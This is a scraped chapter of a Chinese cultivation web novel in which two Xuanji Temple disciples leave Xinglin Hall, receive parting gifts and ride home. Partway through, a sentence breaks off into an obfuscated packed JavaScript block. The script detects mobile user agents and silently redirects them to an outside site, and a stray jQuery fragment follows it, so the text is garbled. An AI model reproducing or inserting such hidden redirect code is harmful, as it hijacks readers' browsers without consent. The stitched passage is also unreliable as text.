文趣网 > 其他小说 > 师门来了个黑心棉 > 45. 回程
    解药分发到第三日,城中的病人已去了大半。还在杏林堂后院厢房里躺着的,只剩下一些被咬伤较重的,需得再灌两剂才能将体内的魔气清干净。

    沈蹊在前堂清点剩余的药材库存,持盈和李慕仙便没有再插手。

    第四日清早,持盈去向董鹤舟辞行。

    董鹤舟正坐在书房里整理案上的卷宗,听见持盈说要走,搁下手里的笔,点了点头:“此番辛苦二位了。解药的方子老夫已抄了一份,劳烦带回玄极观,交与左真人。”

    他从案上取出一只封好的信匣,推到持盈面前。持盈接过来,那信匣不大,约莫一掌见方,封口处盖着杏林堂的火漆印。

    “多谢董掌门。”

    董鹤舟摆了摆手:“不必多礼。”他偏过头去,目光越过持盈的肩头望了一眼门口,“李慕仙呢?”

    “在门外。”

    董鹤舟“嗯”了一声,没有立刻说什么。沉默了几息,才道:“让他进来,老夫有几句话同他说。”

    持盈转身出了书房,走到门口时,看见李慕仙正站在廊下。

    她叫了他一声。李慕仙回过头来:“嗯?”

    “董掌门叫你进去。”

    李慕仙“哦”了一声,快步走向书房。

    走到门口时顿了一顿,抬手整了整衣领,深吸一口气,又缓缓呼出,这才推门走了进去。

    门板合上,将天光掩在身后。

    董鹤舟已经不在书案后面了。

    他站在窗边,手里拿着一只巴掌大的布囊,灰蓝色的粗布面子,看着不起眼。

    回过头来看了李慕仙一眼,掂了掂手里的布囊,随手朝他一抛。

    李慕仙下意识伸手接住,布囊落入掌心,沉甸甸的。他低头看了看:“世叔,这是什么?”

    “云州本地产的几味药材,固本培元用的。你如今正是打根基的时候。这里头有几片赤阳参,拿去泡水喝,每月一片便够了,多了反而上火。”

    李慕仙捧着那只布囊,手心微微一紧。他低下头去,将布囊塞进怀中,塞好了又伸手在衣襟外按了一下,确认放妥了。

    “就这些?”

    董鹤舟看着他那副小心翼翼的模样,忽然有些感慨。

    他想起这小子小时候在院子里上树掏鸟窝,上去之前先把鞋子脱了交给丫鬟拿着,说是怕弄脏了鞋子回去不好交代。

    明明是个皮猴子,偏生又在这些细处心思缜密得不像个孩子。

    如今长大了,说话做事利落了,反倒不晓得该说什么了。董鹤舟笑了一声,笑声很轻。

    “旁的没有了。不过——”他顿了顿,“过不了多久,你我大约还会在别的地方再见的。”

    李慕仙抬起头来:“什么地方?”

    董鹤舟没有回答,只是端起手边的茶碗来喝了一口。

    “到时候你便知道了。去罢。”

    李慕仙走出书房时,心里还揣着那句“还会在别的地方再见”,总觉得世叔话里有话,但人家已经把茶碗端起来了,摆明了不再说。

    他站在廊下,想世叔一个杏林堂掌门,好端端的云州城不住,有什么道理要到永州去?若不是永州,那又是什么“别的地方”?

    自己一个还挂着玄极观腰牌的弟子,除了必要时候下山历练、逢年过节探一探家,还有什么机会跑到别的地方去?

    他想了几息也想不出个所以然来,干脆甩了甩头,不再想了。

    走出书房所在的那条走廊,穿过一道月洞门,他看见持盈站在前堂的廊下,正与一个人说话。

    沈蹊背着他那只药箱,像是刚从后院厢房巡诊回来。

    他站在持盈对面,隔了约莫两步的距离,两人面上都没有什么多余的神情,但说话的语气却是认真的。

    “经脉这个说法,杏林堂与玄极观不大一样。”

    沈蹊正说着,“杏林堂将经脉比作河道,五脏六腑便是沿途的湖泊。河道通了,水自然流得顺畅;但若湖泊淤了,河道再宽也无济于事。”

    “所以你们治内伤,先调五脏。”持盈道。

    “正是。”沈蹊看了她一眼,目光里有一丝意外,也有一丝果然如此的了然,“玄极观呢?”

    “玄极观将经脉看作一张网。”

    持盈道,“网上的每一个节点,也就是穴窍。都是互相牵连的。一处不通,整张网都会受影响。”

    “是以修行之初不练招式,先练坐忘。让人自己静下来,炁便会自己找到最该去的地方。”

    沈蹊听完沉默了片刻,若有所思:“河道也好,网也好,说的其实是同一回事——炁在人体内的运行有它自己的规律,强求不得。”

    持盈点了点头。

    沈蹊又道:“不过杏林堂与玄极观有一点不同,杏林堂治的是凡人。凡人的经脉没有经过修行淬炼,承受不住太强的外力。所以用药必须温和,药力不能太猛,只能缓缓地推。”

    “玄极观则是只修自身。”

    “听起来像是各自站在一条河的两岸。”持盈顺着他的话往下说。

    沈蹊微微一怔,随即嘴角浮起一抹极淡的笑:“持盈道长这个比喻倒是贴切。站在河两岸的人,看的是同一条河,但看到的风景却不一样。”

    “若能搭一座桥,两岸的人便都能看到对方那边的风景了。”

    沈蹊目光微微一动,正要说什么,余光扫到李慕仙从月洞门那头走过来。他收住了话头,朝持盈微微颔首:“此番一别,不知何时再见。持盈道长保重。”

    “沈大夫保重。”

    李慕仙走到近前时,两人的对话已经收尾

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620346|202867||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了。他看了看持盈,又看了看沈蹊:“谈完了?”

    “谈完了。”持盈转过身来,看了他一眼,“你呢?董掌门同你说完了?”

    “说完了。”李慕仙顿了一下,又补了一句,“世叔给了我几味药材。”

    持盈点了点头,没有多问,转身往杏林堂大门走去。李慕仙跟在她身后,走了两步,又回头看了一眼。

    沈蹊仍然站在廊下,朝他微微点了一下头。李慕仙也点了一下头,便加快脚步跟上了持盈。

    两人走到杏林堂门口时,那两匹马已经备好了。

    枣红马的马鞍重新绑过,青灰马的缰绳也换了一副新的,一看便知是杏林堂的人帮他们换的。

    持盈翻身上马,动作利落,没有半点拖泥带水。李慕仙也踩上马镫,翻身上了青灰马的背。

    他坐在马背上,将缰绳在手中调整了一下,偏过头来看了一眼持盈。

    “师父要是问起来——云州城的事,我们怎么说?”

    “照实说。”

    李慕仙“嗯”了一声,没有再多问。

    持盈催了一下马,沿着来时的路往城门方向走去。李慕仙跟在后面,马蹄踏在青石板上,发出一串清脆的声响。

    晨光从东边的屋檐上漫过来,将两人的影子长长地投在地上。

    出了城门,官道两旁的农田已经绿了。

    春日将尽,初夏未至,田野里的油菜已经结了荚,绿油油的,在风中轻轻起伏着。

    远处的山脊线在晨光中泛着一层淡淡的青色。

    持盈策马走在前面,不紧不慢的,倒像是在散步。李慕仙催马与她并行,走了一段路,他忽然又开口了:“师兄。”

    “嗯。”

    “董世叔跟我说——过不了多久还会在别的地方再见。”

    他把憋了一路的这句话终于说了出来,“你说他一个杏林堂掌门,能跟我一个玄极观弟子在什么地方再见?总不能是跑到永州来——”

    他说到这里停了一下,想了想,又推翻了自己的猜测,“也不对。董世叔又不是闲着没事做的人,杏林堂那么大一个摊子,他哪有功夫跑到永州来。”

    持盈没有回头,只是顺着他方才的话,不着痕迹地又往深里带了一句:“那就不是永州。”

    “不是永州,那还能是——”

    李慕仙勒了一下马缰,放慢了速度,坐在马背上,望着官道延伸出去的方向,愣了好一会儿。

    持盈回头看了他一眼,没有催他。她收回目光,继续策马往前走去。

    李慕仙回过神来,催马赶了上去。这一次他没有再问问题,两人一前一后,沿着官道往永州的方向走去。

    日头渐渐升高了些,马蹄踏过田野间的土路,扬起一层薄薄的尘土,又很快被风吹散了。